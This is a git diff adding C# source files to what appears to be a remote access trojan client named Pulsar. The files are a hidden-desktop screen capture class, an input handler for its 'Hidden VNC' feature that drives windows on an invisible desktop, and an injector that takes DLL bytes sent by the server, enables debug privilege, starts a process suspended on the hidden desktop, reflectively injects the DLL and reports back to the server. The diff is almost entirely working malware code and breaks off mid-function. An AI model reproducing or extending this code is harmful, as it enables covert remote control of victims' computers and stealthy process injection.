IntPtr.Zero) + { + return; + } + while (intPtr != IntPtr.Zero) + { + this.DrawHwnd(intPtr, ModifiableScreen, DC, scalingFactor, captureArea); + intPtr = GetWindow(intPtr, GetWindowType.GW_HWNDPREV); + } + } + + private void DrawHwnd(IntPtr hWnd, Graphics ModifiableScreen, IntPtr DC, float scalingFactor, Rectangle captureArea) + { + if (IsWindowVisible(hWnd)) + { + this.DrawApplication(hWnd, ModifiableScreen, DC, scalingFactor, captureArea); + if (Environment.OSVersion.Version.Major < 6) + { + this.DrawTopDown(hWnd, ModifiableScreen, DC, scalingFactor, captureArea); + } + } + } + + public void Dispose() + { + CloseDesktop(this.Desktop); + GC.Collect(); + } + + /// + /// Gets the total number of monitors available. + /// + /// The number of monitors. + public static int GetMonitorCount() + { + return Screen.AllScreens.Length; + } + + /// + /// Captures the screenshot of the entire desktop (all monitors). + /// + public Bitmap Screenshot() + { + return Screenshot(-1); // -1 means capture all monitors + } + + /// + /// Captures the screenshot of a specific monitor. + /// + /// The index of the monitor to capture. Use -1 to capture all monitors. + public Bitmap Screenshot(int monitorIndex) + { + SetThreadDesktop(this.Desktop); + IntPtr dc = GetDC(IntPtr.Zero); + + Rectangle captureArea; + + if (monitorIndex >= 0 && monitorIndex < Screen.AllScreens.Length) + { + // Capture specific monitor + captureArea = Screen.AllScreens[monitorIndex].Bounds; + } + else + { + // Capture all monitors (entire desktop) + RECT rect; + GetWindowRect(GetDesktopWindow(), out rect); + captureArea = new Rectangle(rect.Left, rect.Top, rect.Right - rect.Left, rect.Bottom - rect.Top); + } + + float scalingFactor = GetScalingFactor(); + int scaledWidth = (int)((float)captureArea.Width * scalingFactor); + int scaledHeight = (int)((float)captureArea.Height * scalingFactor); + + Bitmap bitmap = new Bitmap(scaledWidth, scaledHeight); + try + { + using (Graphics graphics = Graphics.FromImage(bitmap)) + { + this.DrawTopDown(IntPtr.Zero, graphics, dc, scalingFactor, captureArea); + } + } + finally + { + ReleaseDC(IntPtr.Zero, dc); + } + return bitmap; + } + + public IntPtr Desktop = IntPtr.Zero; + + private enum DESKTOP_ACCESS : uint + { + DESKTOP_NONE, + DESKTOP_READOBJECTS, + DESKTOP_CREATEWINDOW, + DESKTOP_CREATEMENU = 4U, + DESKTOP_HOOKCONTROL = 8U, + DESKTOP_JOURNALRECORD = 16U, + DESKTOP_JOURNALPLAYBACK = 32U, + DESKTOP_ENUMERATE = 64U, + DESKTOP_WRITEOBJECTS = 128U, + DESKTOP_SWITCHDESKTOP = 256U, + GENERIC_ALL = 511U + } + + private struct RECT + { + public int Left; + + public int Top; + + public int Right; + + public int Bottom; + } + + private enum GetWindowType : uint + { + GW_HWNDFIRST, + GW_HWNDLAST, + GW_HWNDNEXT, + GW_HWNDPREV, + GW_OWNER, + GW_CHILD, + GW_ENABLEDPOPUP + } + + private enum DeviceCap + { + VERTRES = 10, + DESKTOPVERTRES = 117 + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Helper/HVNC/InputHandler.cs b/Pulsar.Client/Helper/HVNC/InputHandler.cs new file mode 100644 index 0000000..2c545c9 --- /dev/null +++ b/Pulsar.Client/Helper/HVNC/InputHandler.cs @@ -0,0 +1,749 @@ +using Pulsar.Common.Enums; +using Pulsar.Common.Messages.Monitoring.HVNC; +using Pulsar.Common.Messages.Monitoring.RemoteDesktop; +using System; +using System.Diagnostics; +using System.Runtime.InteropServices; +using System.Text; + +namespace Pulsar.Client.Helper.HVNC +{ + /// + /// Handles input for the Hidden Virtual Network Computing (HVNC) feature. + /// + public class InputHandler : IDisposable + { + #region Win32 API Imports + + [DllImport("user32.dll", SetLastError = true)] + private static extern IntPtr OpenDesktop(string lpszDesktop, int dwFlags, bool fInherit, uint dwDesiredAccess); + + [DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + private static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa); + + [DllImport("user32.dll", SetLastError = true)] + private static extern bool CloseDesktop(IntPtr hDesktop); + + [DllImport("user32.dll", SetLastError = true)] + private static extern bool SetThreadDesktop(IntPtr hDesktop); + + [DllImport("user32.dll")] + private static extern IntPtr WindowFromPoint(POINT point); + + [DllImport("user32.dll")] + private static extern IntPtr SendMessage(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam); + + [DllImport("user32.dll")] + private static extern IntPtr PostMessage(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam); + + [DllImport("user32.dll")] + private static extern bool GetWindowRect(IntPtr hWnd, out RECT lpRect); + + [DllImport("user32.dll")] + private static extern bool ScreenToClient(IntPtr hWnd, ref POINT lpPoint); + + [DllImport("user32.dll")] + private static extern IntPtr ChildWindowFromPoint(IntPtr hWnd, POINT point); + + [DllImport("user32.dll")] + private static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount); + + [DllImport("user32.dll")] + private static extern bool PtInRect(ref RECT lprc, POINT pt); + + [DllImport("user32.dll")] + private static extern bool SetWindowLong(IntPtr hWnd, int nIndex, int dwNewLong); + + [DllImport("user32.dll")] + private static extern int GetWindowLong(IntPtr hWnd, int nIndex); + + [DllImport("user32.dll")] + private static extern bool GetWindowPlacement(IntPtr hWnd, ref WINDOWPLACEMENT lpwndpl); + + [DllImport("user32.dll")] + private static extern IntPtr FindWindow(string lpClassName, string lpWindowName); + + [DllImport("user32.dll")] + private static extern int MenuItemFromPoint(IntPtr hWnd, IntPtr hMenu, POINT pt); + + [DllImport("user32.dll")] + private static extern int GetMenuItemID(IntPtr hMenu, int nPos); + + [DllImport("user32.dll")] + private static extern IntPtr GetSubMenu(IntPtr hMenu, int nPos); + + [DllImport("user32.dll")] + private static extern bool MoveWindow(IntPtr hWnd, int x, int y, int width, int height, bool repaint); + + [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] + private static extern int RealGetWindowClass(IntPtr hwnd, [Out] StringBuilder pszType, int cchType); + + [DllImport("user32.dll")] + private static extern IntPtr GetWindow(IntPtr hWnd, uint uCmd); + + [DllImport("user32.dll")] + private static extern bool EnumWindows(EnumWindowsProc lpEnumFunc, IntPtr lParam); + + [DllImport("user32.dll")] + private static extern bool IsWindowVisible(IntPtr hWnd); + + [DllImport("user32.dll")] + private static extern bool IsWindow(IntPtr hWnd); + + [DllImport("user32.dll")] + private static extern bool PrintWindow(IntPtr hwnd, IntPtr hdcBlt, uint nFlags); + + [DllImport("user32.dll")] + private static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags); + + [DllImport("user32.dll")] + private static extern bool GetClientRect(IntPtr hWnd, out RECT lpRect); + + [DllImport("user32.dll")] + private static extern IntPtr GetDesktopWindow(); + + [DllImport("user32.dll")] + private static extern uint MapVirtualKey(uint uCode, uint uMapType); + + [DllImport("user32.dll")] + private static extern short GetKeyState(int nVirtKey); + + [DllImport("user32.dll")] + private static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpKeyState, + [Out, MarshalAs(UnmanagedType.LPWStr, SizeConst = 64)] System.Text.StringBuilder pwszBuff, + int cchBuff, uint wFlags); + + [DllImport("user32.dll")] + private static extern bool GetKeyboardState(byte[] lpKeyState); + + private delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam); + + #endregion + + #region Constants + + // Window style constants + private const int GWL_STYLE = -16; + private const int WS_DISABLED = 0x8000000; + + // Window message constants + private const int WM_CHAR = 0x0102; + private const int WM_KEYDOWN = 0x0100; + private const int WM_KEYUP = 0x0101; + private const int WM_LBUTTONUP = 0x0202; + private const int WM_LBUTTONDOWN = 0x0201; + private const int WM_MOUSEMOVE = 0x0200; + private const int WM_CLOSE = 0x0010; + private const int WM_SYSCOMMAND = 0x0112; + private const int WM_NCHITTEST = 0x0084; + private const int WM_RBUTTONUP = 0x0205; + private const int WM_RBUTTONDOWN = 0x0204; + private const int WM_DESTROY = 0x0002; + + // Mouse button constants + private const int MK_LBUTTON = 0x0001; + private const int MK_RBUTTON = 0x0002; + + // System command constants + private const int SC_MINIMIZE = 0xF020; + private const int SC_RESTORE = 0xF120; + private const int SC_MAXIMIZE = 0xF030; + + // Hit test area constants + private const int HTCAPTION = 2; + private const int HTTOP = 12; + private const int HTBOTTOM = 15; + private const int HTLEFT = 10; + private const int HTRIGHT = 11; + private const int HTTOPLEFT = 13; + private const int HTTOPRIGHT = 14; + private const int HTBOTTOMLEFT = 16; + private const int HTBOTTOMRIGHT = 17; + private const int HTCLOSE = 20; + private const int HTMINBUTTON = 8; + private const int HTMAXBUTTON = 9; + private const int HTTRANSPARENT = -1; + + // Window enumeration constants + private const uint GW_HWNDPREV = 3; + private const uint GW_HWNDNEXT = 2; + + // Miscellaneous constants + private const int VK_RETURN = 0x0D; + private const int MN_GETHMENU = 0x01E1; + private const int BM_CLICK = 0x00F5; + private const int MAX_PATH = 260; + private const int SW_SHOWMAXIMIZED = 3; + private const int SW_RESTORE = 9; + + private const int VK_SHIFT = 0x10; + private const int VK_CONTROL = 0x11; + private const int VK_MENU = 0x12; // Alt key + private const int VK_LSHIFT = 0xA0; + private const int VK_RSHIFT = 0xA1; + private const int VK_LCONTROL = 0xA2; + private const int VK_RCONTROL = 0xA3; + private const int VK_LMENU = 0xA4; // Left Alt + private const int VK_RMENU = 0xA5; // Right Alt + private const int VK_CAPITAL = 0x14; // Caps Lock + + #endregion + + #region Fields and Properties + + private readonly string desktopName; + private bool isMovingWindow = false; + private POINT lastClickCoords = new POINT { x = 0, y = 0 }; + private POINT lastWindowDimensions = new POINT { x = 0, y = 0 }; + private IntPtr windowToMove = IntPtr.Zero; + private IntPtr workingWindow = IntPtr.Zero; + private static readonly object syncLock = new object(); + + private bool isShiftPressed = false; + private bool isControlPressed = false; + private bool isAltPressed = false; + private bool isCapsLockOn = false; + + /// + /// Gets the desktop handle. + /// + public IntPtr Desktop { get; private set; } = IntPtr.Zero; + + #endregion + + #region Constructor and Dispose + + /// + /// Initializes a new instance of the class. + /// + /// The name of the desktop to handle input for. + public InputHandler(string desktopName) + { + this.desktopName = desktopName; + IntPtr desktopHandle = OpenDesktop(desktopName, 0, true, (uint)DESKTOP_ACCESS.GENERIC_ALL); + if (desktopHandle == IntPtr.Zero) + { + desktopHandle = CreateDesktop(desktopName, IntPtr.Zero, IntPtr.Zero, 0, (uint)DESKTOP_ACCESS.GENERIC_ALL, IntPtr.Zero); + } + this.Desktop = desktopHandle; + + InitializeModifierKeyStates(); + } + + /// + /// Releases all resources used by the InputHandler. + /// + public void Dispose() + { + CloseDesktop(this.Desktop); + GC.Collect(); + } + + #endregion + + #region Keyboard Helper Methods + + /// + /// Initializes the modifier key states by checking the current system state. + /// + private void InitializeModifierKeyStates() + { + isShiftPressed = (GetKeyState(VK_SHIFT) & 0x8000) != 0; + isControlPressed = (GetKeyState(VK_CONTROL) & 0x8000) != 0; + isAltPressed = (GetKeyState(VK_MENU) & 0x8000) != 0; + isCapsLockOn = (GetKeyState(VK_CAPITAL) & 0x0001) != 0; + } + + /// + /// Handles keyboard input with proper modifier tracking and character conversion. + /// + /// The keyboard message + /// The wParam containing the virtual key code + /// The original lParam + /// The target window to send messages to + private void HandleKeyboardInput(uint msg, IntPtr wParam, IntPtr lParam, IntPtr targetWindow) + { + int virtualKey = wParam.ToInt32(); + + UpdateModifierKeyState(msg, virtualKey); + + if (msg == WM_KEYDOWN) + { + if (IsModifierKey(virtualKey)) + { + IntPtr modifierLParam = BuildKeyboardLParam(msg, wParam); + PostMessage(targetWindow, msg, wParam, modifierLParam); + return; + } + + char[] chars = VirtualKeyToChar(virtualKey); + bool isPrintableChar = (chars != null && chars.Length > 0 && chars[0] != '\0'); + + if (isPrintableChar) + { + IntPtr charLParam = BuildKeyboardLParam(WM_CHAR, wParam); + foreach (char ch in chars) + { + if (ch != '\0') + { + PostMessage(targetWindow, WM_CHAR, new IntPtr(ch), charLParam); + } + } + } + else + { + IntPtr properLParam = BuildKeyboardLParam(msg, wParam); + PostMessage(targetWindow, msg, wParam, properLParam); + } + } + else if (msg == WM_KEYUP) + { + IntPtr properLParam = BuildKeyboardLParam(msg, wParam); + PostMessage(targetWindow, msg, wParam, properLParam); + } + else if (msg == WM_CHAR) + { + PostMessage(targetWindow, msg, wParam, lParam); + } + } + + /// + /// Updates the internal modifier key state tracking. + /// + /// The keyboard message + /// The virtual key code + private void UpdateModifierKeyState(uint msg, int virtualKey) + { + bool keyDown = (msg == WM_KEYDOWN); + + switch (virtualKey) + { + case VK_SHIFT: + case VK_LSHIFT: + case VK_RSHIFT: + isShiftPressed = keyDown; + break; + + case VK_CONTROL: + case VK_LCONTROL: + case VK_RCONTROL: + isControlPressed = keyDown; + break; + + case VK_MENU: + case VK_LMENU: + case VK_RMENU: + isAltPressed = keyDown; + break; + + case VK_CAPITAL: + if (keyDown) + { + isCapsLockOn = !isCapsLockOn; + } + break; + } + } + + /// + /// Converts a virtual key to its character representation considering modifier states. + /// + /// The virtual key code + /// Array of characters, or null if not a printable character + private char[] VirtualKeyToChar(int virtualKey) + { + if (IsModifierKey(virtualKey) || IsNonPrintableKey(virtualKey)) + { + return null; + } + + byte[] keyboardState = new byte[256]; + + if (isShiftPressed) + { + keyboardState[VK_SHIFT] = 0x80; + } + + if (isControlPressed) + { + keyboardState[VK_CONTROL] = 0x80; + } + + if (isAltPressed) + { + keyboardState[VK_MENU] = 0x80; + } + + if (isCapsLockOn) + { + keyboardState[VK_CAPITAL] = 0x01; + } + + + var buffer = new StringBuilder(64); + uint scanCode = MapVirtualKey((uint)virtualKey, 0); + + int result = ToUnicode((uint)virtualKey, scanCode, keyboardState, buffer, buffer.Capacity, 0); + + if (result > 0) + { + return buffer.ToString().Substring(0, result).ToCharArray(); + } + + return null; + } + + /// + /// Determines if a virtual key is a modifier key. + /// + /// The virtual key code + /// True if the key is a modifier key + private bool IsModifierKey(int virtualKey) + { + switch (virtualKey) + { + case VK_SHIFT: + case VK_LSHIFT: + case VK_RSHIFT: + case VK_CONTROL: + case VK_LCONTROL: + case VK_RCONTROL: + case VK_MENU: + case VK_LMENU: + case VK_RMENU: + case VK_CAPITAL: + return true; + default: + return false; + } + } + + /// + /// Determines if a virtual key is a non-printable key (function keys, arrows, etc.). + /// + /// The virtual key code + /// True if the key is non-printable + private bool IsNonPrintableKey(int virtualKey) + { + if (virtualKey >= 0x70 && virtualKey <= 0x7B) return true; + + switch (virtualKey) + { + case 0x21: // VK_PRIOR (Page Up) + case 0x22: // VK_NEXT (Page Down) + case 0x23: // VK_END + case 0x24: // VK_HOME + case 0x25: // VK_LEFT + case 0x26: // VK_UP + case 0x27: // VK_RIGHT + case 0x28: // VK_DOWN + case 0x2D: // VK_INSERT + case 0x2E: // VK_DELETE + case 0x5B: // VK_LWIN + case 0x5C: // VK_RWIN + case 0x5D: // VK_APPS + case 0x91: // VK_SCROLL + case 0x90: // VK_NUMLOCK + case 0x0D: // VK_RETURN (Enter) + case 0x1B: // VK_ESCAPE + case 0x09: // VK_TAB + case 0x08: // VK_BACK (Backspace) + return true; + default: + return false; + } + } + + /// + /// Builds the appropriate lParam value for keyboard messages. + /// + /// The keyboard message (WM_KEYDOWN, WM_KEYUP, WM_CHAR) + /// The wParam containing the virtual key code + /// The properly formatted lParam for the keyboard message + private IntPtr BuildKeyboardLParam(uint message, IntPtr wParam) + { + int vk = wParam.ToInt32(); + uint scanCode = MapVirtualKey((uint)vk, 0); + + int lParam = 0; + + lParam |= 1; + + lParam |= (int)(scanCode << 16); + + if (IsExtendedKey(vk)) + { + lParam |= (1 << 24); + } + + if (message == WM_KEYUP) + { + lParam |= (1 << 30); + lParam |= (1 << 31); + } + + return new IntPtr(lParam); + } + + /// + /// Determines if a virtual key code represents an extended key. + /// + /// The virtual key code + /// True if the key is an extended key + private bool IsExtendedKey(int virtualKey) + { + switch (virtualKey) + { + case 0x21: // VK_PRIOR (Page Up) + case 0x22: // VK_NEXT (Page Down) + case 0x23: // VK_END + case 0x24: // VK_HOME + case 0x25: // VK_LEFT + case 0x26: // VK_UP + case 0x27: // VK_RIGHT + case 0x28: // VK_DOWN + case 0x2D: // VK_INSERT + case 0x2E: // VK_DELETE + case 0x5B: // VK_LWIN + case 0x5C: // VK_RWIN + case 0x5D: // VK_APPS + case 0xA0: // VK_LSHIFT (when differentiated from VK_SHIFT) + case 0xA1: // VK_RSHIFT + case 0xA2: // VK_LCONTROL + case 0xA3: // VK_RCONTROL + case 0xA4: // VK_LMENU (Left Alt) + case 0xA5: // VK_RMENU (Right Alt) + case 0x91: // VK_SCROLL + return true; + default: + return false; + } + } + + #endregion + + #region Helper Methods + + /// + /// Gets the X coordinate from an lParam. + /// + public static int GetXCoordinate(IntPtr lParam) + { + return (int)((short)(lParam.ToInt32() & 0xFFFF)); + } + + /// + /// Gets the Y coordinate from an lParam. + /// + public static int GetYCoordinate(IntPtr lParam) + { + return (int)((short)(lParam.ToInt32() >> 16 & 0xFFFF)); + } + + /// + /// Creates an lParam from X and Y coordinates. + /// + public static IntPtr MakeLParam(int lowWord, int highWord) + { + return new IntPtr(highWord << 16 | (lowWord & 0xFFFF)); + } + + /// + /// Calculates relative coordinates from screen to window + /// + private POINT ScreenToWindow(int screenX, int screenY, int windowX, int windowY, int windowWidth, int windowHeight) + { + int relativeX = screenX - windowX; + int relativeY = screenY - windowY; + + if (relativeX >= 0 && relativeX < windowWidth && relativeY >= 0 && relativeY < windowHeight) + return new POINT { x = relativeX, y = relativeY }; + else + return new POINT { x = -1, y = -1 }; + } + + #endregion + + #region Input Processing + + /// + /// Processes an input message and sends it to the appropriate window. + /// + /// The message to process. + /// The wParam of the message. + /// The lParam of the message. + public void Input(uint msg, IntPtr wParam, IntPtr lParam) + { + lock (syncLock) + { + SetThreadDesktop(this.Desktop); + + // Handle mouse messages + if (msg == WM_LBUTTONDOWN || msg == WM_LBUTTONUP || + msg == WM_RBUTTONDOWN || msg == WM_RBUTTONUP || + msg == WM_MOUSEMOVE) + { + int x = GetXCoordinate(lParam); + int y = GetYCoordinate(lParam); + POINT cursorPosition = new POINT { x = x, y = y }; + + bool isLeft = (msg == WM_LBUTTONDOWN || msg == WM_LBUTTONUP); + bool isUp = (msg == WM_LBUTTONUP || msg == WM_RBUTTONUP); + + if (isMovingWindow && isUp && isLeft) + { + // If we were moving a window and now released the button, complete the move + SetWindowPos(windowToMove, IntPtr.Zero, + x - lastClickCoords.x, + y - lastClickCoords.y, + lastWindowDimensions.x, + lastWindowDimensions.y, + 0); + isMovingWindow = false; + } + + // Get the window under the cursor + IntPtr hwnd = WindowFromPoint(cursorPosition); + workingWindow = hwnd; + + if (hwnd != IntPtr.Zero) + { + // Get window information + RECT windowRect; + GetWindowRect(hwnd, out windowRect); + + // Calculate window position and size + int windowX = windowRect.left; + int windowY = windowRect.top; + int windowWidth = windowRect.right - windowRect.left; + int windowHeight = windowRect.bottom - windowRect.top; + + // Calculate position relative to window + POINT clickCoords = ScreenToWindow(x, y, windowX, windowY, windowWidth, windowHeight); + + // Get hit test result to determine what part of the window was clicked + IntPtr hitTestResult = SendMessage(hwnd, WM_NCHITTEST, IntPtr.Zero, lParam); + int hitTestResultInt = hitTestResult.ToInt32(); + + if (hitTestResultInt == HTCLOSE && msg == WM_LBUTTONUP) + { + // Close button clicked + Debug.WriteLine("Closing window"); + PostMessage(hwnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero); + PostMessage(hwnd, WM_DESTROY, IntPtr.Zero, IntPtr.Zero); + } + else if (hitTestResultInt == HTCAPTION) + { + // Title bar clicked + if (!isUp && isLeft && msg == WM_LBUTTONDOWN) + { + // Start window move operation + lastClickCoords = clickCoords; + lastWindowDimensions = new POINT { x = windowWidth, y = windowHeight }; + isMovingWindow = true; + windowToMove = hwnd; + Debug.WriteLine("Starting window move"); + } + } + else if (hitTestResultInt == HTMAXBUTTON && msg == WM_LBUTTONUP) + { + // Maximize/Restore button clicked + WINDOWPLACEMENT windowPlacement = default; + windowPlacement.length = Marshal.SizeOf(windowPlacement); + GetWindowPlacement(hwnd, ref windowPlacement); + + if ((windowPlacement.flags & SW_SHOWMAXIMIZED) != 0) + { + Debug.WriteLine("Restoring window"); + PostMessage(hwnd, WM_SYSCOMMAND, new IntPtr(SC_RESTORE), IntPtr.Zero); + } + else + { + Debug.WriteLine("Maximizing window"); + PostMessage(hwnd, WM_SYSCOMMAND, new IntPtr(SC_MAXIMIZE), IntPtr.Zero); + } + } + else if (hitTestResultInt == HTMINBUTTON && msg == WM_LBUTTONUP) + { + // Minimize button clicked + Debug.WriteLine("Minimizing window"); + PostMessage(hwnd, WM_SYSCOMMAND, new IntPtr(SC_MINIMIZE), IntPtr.Zero); + } + else + { + // Regular window area clicked - forward the mouse message + IntPtr param = isLeft ? new IntPtr(MK_LBUTTON) : new IntPtr(MK_RBUTTON); + IntPtr translatedLParam = MakeLParam(clickCoords.x, clickCoords.y); + PostMessage(hwnd, msg, param, translatedLParam); + } + } + } + // Handle keyboard messages + if (msg == WM_KEYDOWN || msg == WM_KEYUP || msg == WM_CHAR) + { + if (workingWindow != IntPtr.Zero) + { + HandleKeyboardInput(msg, wParam, lParam, workingWindow); + } + } + } + } + + #endregion + + #region Nested Types + + /// + /// Desktop access rights flags. + /// + private enum DESKTOP_ACCESS : uint + { + DESKTOP_NONE, + DESKTOP_READOBJECTS, + DESKTOP_CREATEWINDOW, + DESKTOP_CREATEMENU = 4U, + DESKTOP_HOOKCONTROL = 8U, + DESKTOP_JOURNALRECORD = 16U, + DESKTOP_JOURNALPLAYBACK = 32U, + DESKTOP_ENUMERATE = 64U, + DESKTOP_WRITEOBJECTS = 128U, + DESKTOP_SWITCHDESKTOP = 256U, + GENERIC_ALL = 511U + } + + /// + /// Represents a point (x,y coordinates). + /// + public struct POINT + { + public int x; + public int y; + } + + /// + /// Represents a rectangle. + /// + public struct RECT + { + public int left; + public int top; + public int right; + public int bottom; + } + + /// + /// Contains information about the placement of a window. + /// + public struct WINDOWPLACEMENT + { + public int length; + public int flags; + public int showCmd; + public POINT ptMinPosition; + public POINT ptMaxPosition; + public RECT rcNormalPosition; + } + + #endregion + } +} \ No newline at end of file diff --git a/Pulsar.Client/Helper/HVNC/KDOTInjector.cs b/Pulsar.Client/Helper/HVNC/KDOTInjector.cs new file mode 100644 index 0000000..1352375 --- /dev/null +++ b/Pulsar.Client/Helper/HVNC/KDOTInjector.cs @@ -0,0 +1,857 @@ +using Pulsar.Client.LoggingAPI; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; + +namespace Pulsar.Client.Helper.HVNC +{ + internal class KDOTInjector + { + /// + /// Starts the reflective DLL injection process + /// + /// The DLL bytes to inject (received from server) + /// Path to the executable to start and inject into + /// Pattern to search for in the target process + /// Replacement path for the search pattern + /// Process ID of the started process, or 0 if failed + public static int Start(byte[] dllBytes, string exePath, string searchPattern, string replacementPath) + { + try + { + if (dllBytes == null || dllBytes.Length == 0) + { + UniversalDebugLogger.SendLogToServer("[-] Invalid DLL bytes provided"); + return 0; + } + + if (string.IsNullOrWhiteSpace(exePath)) + { + UniversalDebugLogger.SendLogToServer("[-] No target executable specified"); + return 0; + } + + if (string.IsNullOrWhiteSpace(searchPattern) || string.IsNullOrWhiteSpace(replacementPath)) + { + UniversalDebugLogger.SendLogToServer("[-] Search pattern and replacement path are required"); + return 0; + } + + UniversalDebugLogger.SendLogToServer($"[*] Starting reflective DLL injection"); + UniversalDebugLogger.SendLogToServer($" Target: {exePath}"); + UniversalDebugLogger.SendLogToServer($" Search Pattern: {searchPattern}"); + UniversalDebugLogger.SendLogToServer($" Replacement Path: {replacementPath}"); + UniversalDebugLogger.SendLogToServer($" DLL Size: {dllBytes.Length} bytes"); + + PrivilegeManager.EnableDebugPrivilege(); + + var (process, hProcess, hThread) = ProcessManager.StartProcessSuspended(exePath, searchPattern, replacementPath); + if (process == null || hProcess == IntPtr.Zero || hThread == IntPtr.Zero) + { + UniversalDebugLogger.SendLogToServer("[-] Failed to create suspended process"); + return 0; + } + + int processId = process.Id; + UniversalDebugLogger.SendLogToServer($"[+] Started process '{Path.GetFileName(exePath)}' (suspended) with PID {processId}"); + + try + { + bool success = Injector.InjectDllWithHandle(hProcess, dllBytes); + if (success) + { + UniversalDebugLogger.SendLogToServer($"[+] Successfully injected '{Path.GetFileName(exePath)}' into process {processId}"); + UniversalDebugLogger.SendLogToServer($"[+] Search pattern: {searchPattern}"); + UniversalDebugLogger.SendLogToServer($"[+] Replacement path: {replacementPath}"); + } + else + { + UniversalDebugLogger.SendLogToServer("[-] Injection failed"); + Injector.CloseHandle(hProcess); + Injector.CloseHandle(hThread); + if (!process.HasExited) + { + process.Kill(); + } + return 0; + } + } + finally + { + Injector.CloseHandle(hProcess); + } + + UniversalDebugLogger.SendLogToServer("[+] Resuming main thread..."); + ProcessManager.ResumeThreadExP(hThread); + Injector.CloseHandle(hThread); + + UniversalDebugLogger.SendLogToServer("[+] Process running. DLL hooks will propagate to child processes."); + return processId; + } + catch (Exception ex) + { + UniversalDebugLogger.SendLogToServer($"[-] Exception in KDOTInjector.Start: {ex.Message}"); + return 0; + } + } + } + + /// + /// Manages process creation and interaction + /// + internal static class ProcessManager + { + [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + private static extern bool CreateProcess( + string lpApplicationName, + string lpCommandLine, + IntPtr lpProcessAttributes, + IntPtr lpThreadAttributes, + bool bInheritHandles, + uint dwCreationFlags, + IntPtr lpEnvironment, + string lpCurrentDirectory, + ref STARTUPINFO lpStartupInfo, + out PROCESS_INFORMATION lpProcessInformation); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern uint ResumeThread(IntPtr hThread); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool CloseHandle(IntPtr hObject); + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + private struct STARTUPINFO + { + public int cb; + public string lpReserved; + public string lpDesktop; + public string lpTitle; + public int dwX; + public int dwY; + public int dwXSize; + public int dwYSize; + public int dwXCountChars; + public int dwYCountChars; + public int dwFillAttribute; + public int dwFlags; + public short wShowWindow; + public short cbReserved2; + public IntPtr lpReserved2; + public IntPtr hStdInput; + public IntPtr hStdOutput; + public IntPtr hStdError; + } + + [StructLayout(LayoutKind.Sequential)] + private struct PROCESS_INFORMATION + { + public IntPtr hProcess; + public IntPtr hThread; + public uint dwProcessId; + public uint dwThreadId; + } + + private const uint CREATE_SUSPENDED = 0x00000004; + private const uint CREATE_UNICODE_ENVIRONMENT = 0x00000400; + private const int STARTF_USEPOSITION = 0x00000004; + + public static Process StartProcessNormal(string exePath) + { + if (!File.Exists(exePath)) + { + Debug.WriteLine($"[-] Executable not found: {exePath}"); + return null; + } + + try + { + ProcessStartInfo psi = new ProcessStartInfo + { + FileName = exePath, + UseShellExecute = false, + WorkingDirectory = Path.GetDirectoryName(exePath) + }; + + Process process = Process.Start(psi); + return process; + } + catch (Exception ex) + { + Debug.WriteLine($"[-] Failed to start process: {ex.Message}"); + return null; + } + } + + private static IntPtr CreateEnvironmentBlock(string searchPath, string replacePath) + { + var envVars = Environment.GetEnvironmentVariables(); + + var envDict = new Dictionary(); + foreach (System.Collections.DictionaryEntry entry in envVars) + { + envDict[entry.Key.ToString()] = entry.Value.ToString(); + } + + envDict["RDI_SEARCH_PATH"] = searchPath; + envDict["RDI_REPLACE_PATH"] = replacePath; + + var envList = new List(); + foreach (var kvp in envDict.OrderBy(x => x.Key, StringComparer.OrdinalIgnoreCase)) + { + envList.Add($"{kvp.Key}={kvp.Value}"); + } + + string envBlock = string.Join("\0", envList) + "\0\0"; + + byte[] envBytes = Encoding.Unicode.GetBytes(envBlock); + + IntPtr envPtr = Marshal.AllocHGlobal(envBytes.Length); + Marshal.Copy(envBytes, 0, envPtr, envBytes.Length); + + return envPtr; + } + + public static (Process process, IntPtr hProcess, IntPtr hThread) StartProcessSuspended(string exePath, string searchPath, string replacePath) + { + if (!File.Exists(exePath)) + { + Debug.WriteLine($"[-] Executable not found: {exePath}"); + return (null, IntPtr.Zero, IntPtr.Zero); + } + + IntPtr envBlock = IntPtr.Zero; + + try + { + STARTUPINFO si = new STARTUPINFO(); + si.cb = Marshal.SizeOf(si); + si.lpDesktop = "PulsarDesktop"; + + si.dwX = 0; + si.dwY = 0; + si.dwFlags = STARTF_USEPOSITION; + PROCESS_INFORMATION pi; + + string commandLine = $"\"{exePath}\" --window-position=0,0"; + + envBlock = CreateEnvironmentBlock(searchPath, replacePath); + + Debug.WriteLine($"[*] Setting environment variables:"); + Debug.WriteLine($" RDI_SEARCH_PATH={searchPath}"); + Debug.WriteLine($" RDI_REPLACE_PATH={replacePath}"); + + bool success = CreateProcess( + null, + commandLine, + IntPtr.Zero, + IntPtr.Zero, + false, + CREATE_SUSPENDED | CREATE_UNICODE_ENVIRONMENT, + envBlock, + Path.GetDirectoryName(exePath), + ref si, + out pi); + + if (!success) + { + int error = Marshal.GetLastWin32Error(); + Debug.WriteLine($"[-] Failed to create process. Error: {error}"); + return (null, IntPtr.Zero, IntPtr.Zero); + } + + Process process = Process.GetProcessById((int)pi.dwProcessId); + + return (process, pi.hProcess, pi.hThread); + } + catch (Exception ex) + { + Debug.WriteLine($"[-] Failed to start process: {ex.Message}"); + return (null, IntPtr.Zero, IntPtr.Zero); + } + finally + { + if (envBlock != IntPtr.Zero) + { + Marshal.FreeHGlobal(envBlock); + } + } + } + + public static void ResumeThreadExP(IntPtr hThread) + { + if (hThread != IntPtr.Zero) + { + uint suspendCount = ResumeThread(hThread); + if (suspendCount == unchecked((uint)-1)) + { + 